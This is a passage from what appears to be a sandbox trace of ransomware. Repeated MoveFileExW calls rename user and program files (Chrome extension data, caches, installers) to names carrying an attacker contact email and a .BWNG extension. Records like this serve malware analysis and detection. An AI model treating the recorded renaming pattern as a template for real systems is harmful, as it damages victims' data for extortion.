(lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].fqbtFT4b-hU65Bx7s.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].fqbtft4b-hu65bx7s.bwng"), dwFlags=0x1) returned 1 [0130.771] GetTickCount () returned 0x11683a2 [0130.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27272299460) returned 1 [0130.771] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].KUrdBOuX-KG1KyBp9.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].kurdboux-kg1kybp9.bwng"), dwFlags=0x1) returned 1 [0130.772] GetTickCount () returned 0x11683a2 [0130.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27272455367) returned 1 [0130.773] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].JVT7TCut-6EPdte7k.BWNG" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].jvt7tcut-6epdte7k.bwng"), dwFlags=0x1) returned 1 [0130.774] GetTickCount () returned 0x11683a2 [0130.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27272643106) returned 1 [0130.774] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].hHe9R0x5-igwljlfA.BWNG" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].hhe9r0x5-igwljlfa.bwng"), dwFlags=0x1) returned 1 [0130.776] GetTickCount () returned 0x11683b1 [0130.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27272833374) returned 1 [0130.776] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].ePGIwZvK-8YqNQyWn.BWNG" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].epgiwzvk-8yqnqywn.bwng"), dwFlags=0x1) returned 1 [0130.778] GetTickCount () returned 0x11683b1 [0130.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27272984173) returned 1 [0130.778] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].FrDoNmL6-jfdWY3ax.BWNG" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].frdonml6-jfdwy3ax.bwng"), dwFlags=0x1) returned 1 [0130.779] GetTickCount () returned 0x11683b1 [0130.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27273148636) returned 1 [0130.780] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\[billwong73@yahoo.com].5I3HHwk6-eaSKZJlR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\[billwong73@yahoo.com].5i3hhwk6-easkzjlr.bwng"), dwFlags=0x1) returned 1 [0130.782] GetTickCount () returned 0x11683b1 [0130.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27273392367) returned 1 [0130.782] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].7kjylAiu-fJszaxTP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].7kjylaiu-fjszaxtp.bwng"), dwFlags=0x1) returned 1 [0130.784] GetTickCount () returned 0x11683b1 [0130.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27273596238) returned 1 [0130.784] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].PleVJMuT-5QpCh397.BWNG" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].plevjmut-5qpch397.bwng"), dwFlags=0x1) returned 1 [0130.785] GetTickCount () returned 0x11683b1 [0130.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27273756729) returned 1 [0130.786] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\[billwong73@yahoo.com].t0Y8emgP-DHLaXjjD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\[billwong73@yahoo.com].t0y8emgp-dhlaxjjd.bwng"), dwFlags=0x1) returned 1 [0130.787] GetTickCount () returned 0x11683b1 [0130.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27273901405) returned 1 [0130.787] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].ts4Hadzm-LeciD8Qt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].ts4hadzm-lecid8qt.bwng"), dwFlags=0x1) returned 1 [0130.788] GetTickCount () returned 0x11683b1 [0130.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27274035632) returned 1 [0130.788] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\[billwong73@yahoo.com].vY2YTKMr-o2DlVni4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\[billwong73@yahoo.com].vy2ytkmr-o2dlvni4.bwng"), dwFlags=0x1) returned 1 [0130.790] GetTickCount () returned 0x11683b1 [0130.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27274207640) returned 1 [0130.790] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\[billwong73@yahoo.com].5mjpW8IO-PEeeINKf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\[billwong73@yahoo.com].5mjpw8io-peeeinkf.bwng"), dwFlags=0x1) returned 1 [0130.876] GetTickCount () returned 0x116840f [0130.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27282861900) returned 1 [0130.877] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].YIVAvGYw-GqzS7LR4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].yivavgyw-gqzs7lr4.bwng"), dwFlags=0x1) returned 1 [0130.879] GetTickCount () returned 0x116840f [0130.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27283116409) returned 1 [0130.879] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\[billwong73@yahoo.com].QbXrUfYa-KCXt0xjB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\[billwong73@yahoo.com].qbxrufya-kcxt0xjb.bwng"), dwFlags=0x1) returned 1 [0130.883] GetTickCount () returned 0x116840f [0130.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27283563275) returned 1 [0130.884] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\[billwong73@yahoo.com].kXFANyrT-Nczxn9Dy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\[billwong73@yahoo.com].kxfanyrt-nczxn9dy.bwng"), dwFlags=0x1) returned 1 [0130.900] GetTickCount () returned 0x116841e [0130.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27285185099) returned 1 [0130.900] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\[billwong73@yahoo.com].tvOFLDdq-6YmgbTbv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\[billwong73@yahoo.com].tvoflddq-6ymgbtbv.bwng"), dwFlags=0x1) returned 1 [0130.902] GetTickCount () returned 0x116842e [0130.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27285408472) returned 1 [0130.902] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\[billwong73@yahoo.com].klxgIKcl-0veOP3xi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\[billwong73@yahoo.com].klxgikcl-0veop3xi.bwng"), dwFlags=0x1) returned 1 [0130.904] GetTickCount () returned 0x116842e [0130.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27285605789) returned 1 [0130.904] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].rumTdtDd-rJ5EmrAB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].rumtdtdd-rj5emrab.bwng"), dwFlags=0x1) returned 1 [0130.906] GetTickCount () returned 0x116842e [0130.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27285790407) returned 1 [0130.906] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\[billwong73@yahoo.com].3OTgvLFu-rRtdnC66.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\[billwong73@yahoo.com].3otgvlfu-rrtdnc66.bwng"), dwFlags=0x1) returned 1 [0130.907] GetTickCount () returned 0x116842e [0130.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27285964444) returned 1 [0130.908] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\[billwong73@yahoo.com].BuQpi5jQ-V8Wdggyt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\[billwong73@yahoo.com].buqpi5jq-v8wdggyt.bwng"), dwFlags=0x1) returned 1 [0130.909] GetTickCount () returned 0x116842e [0130.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27286143846) returned 1 [0130.909] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\[billwong73@yahoo.com].9eUOBBET-Y0XZZGTF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\[billwong73@yahoo.com].9euobbet-y0xzzgtf.bwng"), dwFlags=0x1) returned 1 [0130.911] GetTickCount () returned 0x116842e [0130.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27286296402) returned 1 [0130.911] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\[billwong73@yahoo.com].18tzvClZ-PGwMZU57.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\[billwong73@yahoo.com].18tzvclz-pgwmzu57.bwng"), dwFlags=0x1) returned 1 [0130.912] GetTickCount () returned 0x116842e [0130.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27286455561) returned 1 [0130.913] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\[billwong73@yahoo.com].xBZrThny-8U6mrxFO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\[billwong73@yahoo.com].xbzrthny-8u6mrxfo.bwng"), dwFlags=0x1) returned 1 [0130.914] GetTickCount () returned 0x116842e [0130.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27286640553) returned 1 [0130.914] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\[billwong73@yahoo.com].dHh4sT7E-b8HRK6hY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\[billwong73@yahoo.com].dhh4st7e-b8hrk6hy.bwng"), dwFlags=0x1) returned 1 [0130.917] GetTickCount () returned 0x116843e [0130.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27286976195) returned 1 [0130.918] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\[billwong73@yahoo.com].0CzVKmVn-sPbrF916.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\[billwong73@yahoo.com].0czvkmvn-spbrf916.bwng"), dwFlags=0x1) returned 1 [0130.923] GetTickCount () returned 0x116843e [0130.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27287536296) returned 1 [0130.923] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\[billwong73@yahoo.com].zfiZ09Y7-jqtb6jT0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\[billwong73@yahoo.com].zfiz09y7-jqtb6jt0.bwng"), dwFlags=0x1) returned 1 [0130.925] GetTickCount () returned 0x116843e [0130.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27287701444) returned 1 [0130.925] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 